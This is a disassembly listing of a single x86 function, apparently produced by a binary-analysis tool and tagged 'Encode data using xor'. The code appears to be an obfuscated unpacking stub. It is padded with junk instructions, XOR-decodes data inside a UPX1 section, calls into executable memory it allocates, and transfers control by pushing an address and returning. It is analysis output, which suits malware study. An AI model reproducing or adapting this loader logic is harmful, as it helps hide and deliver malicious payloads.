Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x1e4d68fe
and edi, edi
sub ecx, 0x4df8eb9b
inc edi
popal
inc edi
mov edi, ecx
dec edi
mov ebx, 0
mov esi, ecx
add edx, 1
or eax, edx
mov edx, 0x7a396eae
mov edi, esi
not eax
or edx, eax
mov ecx, edi
mov edx, eax
mov edx, 0x97581b8f
inc ebx
add eax, 1
mov eax, 0xe67c0d1
add eax, 0x88064e4
cmp ebx, 0x100d563
jne 0xa789c5
mov edx, eax
sub edx, 0xfe4740fa
add edx, edx
or edi, edi
sub ecx, 0xe191c431
or ecx, ecx
mov ebx, 0xa78796
sub ecx, edx
add ecx, 0xcb56f185
mov edi, 0xa7898a
or eax, edx
mov eax, ecx
mov esi, dword [ebx]
sub ecx, edx
sub edx, ecx
add edx, 0x3bfe2589
and esi, 0xff
sub ecx, 0x367e65a8
not ecx
xor dword [edi], esi
mov edx, 0x5d4dd026
add edx, 0x5e4bb500
or ecx, edx
inc edi
not edx
add ecx, 0xf64a469e
dec ecx
inc ebx
dec edx
inc ecx
mov ecx, 0xfb5ff0f1
cmp edi, entry0
jl 0xa78a2b
add ecx, 0xdfa16561
dec eax
inc eax
mov ecx, 0xd61065ad
mov ecx, eax
add ecx, 0x90ecb984
dec ecx
mov edx, 0xa7898e
sub edi, ecx
sub ecx, edi
or ebx, ecx
mov edx, dword [edx]
and esi, ebx
or esi, ebx
mov edx, dword [edx]
sub edi, 0x356281a
add ecx, ecx
mov ebx, 0x1ade117c
sub esp, 4
mov dword [esp], edx
dec edi
dec esi
mov ebx, esi
mov edx, 0xa7898a
add edi, ecx
and edi, edi
mov edx, dword [edx]
add ecx, 1
add edi, 0xc8ed7e19
mov edx, dword [edx]
dec ecx
not ebx
push 0xa78992
or ecx, esi
add edi, esi
call edx
sub edi, 1
sub ebx, 0xb38bdeba
mov edx, dword [esp]
add esp, 4
or edi, esi
sub edi, 0x3fd9ea08
mov esi, ebx
sub esp, 4
mov dword [esp], 0xa7899f
and ecx, esi
sub esi, 0xd1c16c19
mov ecx, esi
push eax
sub esi, 0x4ce39b31
sub ecx, ebx
call edx
not esi
not ebx
sub esp, 4
mov dword [esp], 0x40
add ebx, ecx
sub ecx, edi
inc esi
push 0x3000
or ecx, edi
sub esi, 0x175edaf3
add ecx, 0x4a24087c
push 0x2000001c
sub esi, 0x2cfe11a1
and ebx, esi
or ecx, esi
push 0
add ebx, edi
add ecx, edi
call eax
or ecx, esi
sub ecx, 0x206a0c78
or ebx, esi
add eax, 0x1fffff70
mov ecx, edi
and esi, ebx
dec esi
mov edx, 0x7193f2e0
add ecx, 0xb36f888b
not esi
or ebx, edi
mov dword [eax], edx
or ecx, esi
not ebx
mov edx, dword [eax]
add esi, 0x60eb9f11
mov edi, ebx
mov ebx, 0xbb2f9eff
cmp edx, 0x7193f2e0
je 0xa78b9c
mov ebx, 0
mov dword [ebx], edx
and edi, edi
mov ecx, 0x25c24a05
or edi, ecx
sub ecx, 0xb28a1627
or ebx, esi
dec ecx
and ecx, ecx
mov edx, section.UPX1
mov edi, 0x18285441
add edi, 0xb8bb78b8
mov ebx, 0xa78795
or ecx, ecx
mov edi, 0xf3d6ad4c
sub edi, 0x2e2a5459
mov esi, 0
or edi, ecx
add edi, ecx
add edi, ecx
mov eax, 0xa78796
add edi, ecx
sub edi, 0x1678542d
lea eax, [eax + esi]
and ecx, ecx
mov edi, 0xa4eda83f
mov edi, ecx
mov eax, dword [eax]
mov ecx, 0x8aa69144
add edi, edi
and eax, 0xff
add ecx, 0xd21eadda
add ecx, 0x9d2b71ac
inc esi
dec ecx
add ecx, 1
cmp esi, 0x1f4
jne 0xa78c26
mov esi, 0
or ecx, edi
and edi, edi
sub ecx, 0xd894618
not ecx
add ecx, edi
xor dword [edx], eax
dec ecx
add edi, 0xf65f915f
and ecx, edi
add edx, 2
not edi
sub ecx, 0x7cebd99
add edi, ecx
cmp edx, ebx
jl 0xa78bdd
mov ecx, edi
dec ecx
and ecx, ecx
not edi
inc edi
mov eax, section.UPX1
not edx
not edx
mov ecx, section.UPX1
mov edi, edx
sub edi, 0xd9348827
dec edx
mov esi, 0xa78795
mov edx, 0x7f5058c9
or edi, edi
add edx, edi
mov ebx, 0
inc edx
inc edx
mov bl, byte [ecx]
add edi, edx
or edx, edx
inc edi
mov byte [eax], bl
add edi, 0x6764d26e
not edx
inc eax
or edx, edi
mov edi, edx
add edi, edi
add ecx, 2
mov edi, 0x513eefa6
add edx, edi
cmp ecx, esi
jle 0xa78c8b
sub edi, edx
dec edi
sub edx, edi
sub ecx, 0x8df7b4b9
not edi
sub ecx, edi
push 0x8dc6a0
add edi, 1
sub edi, 0xf9dabb27
mov ecx, edi
ret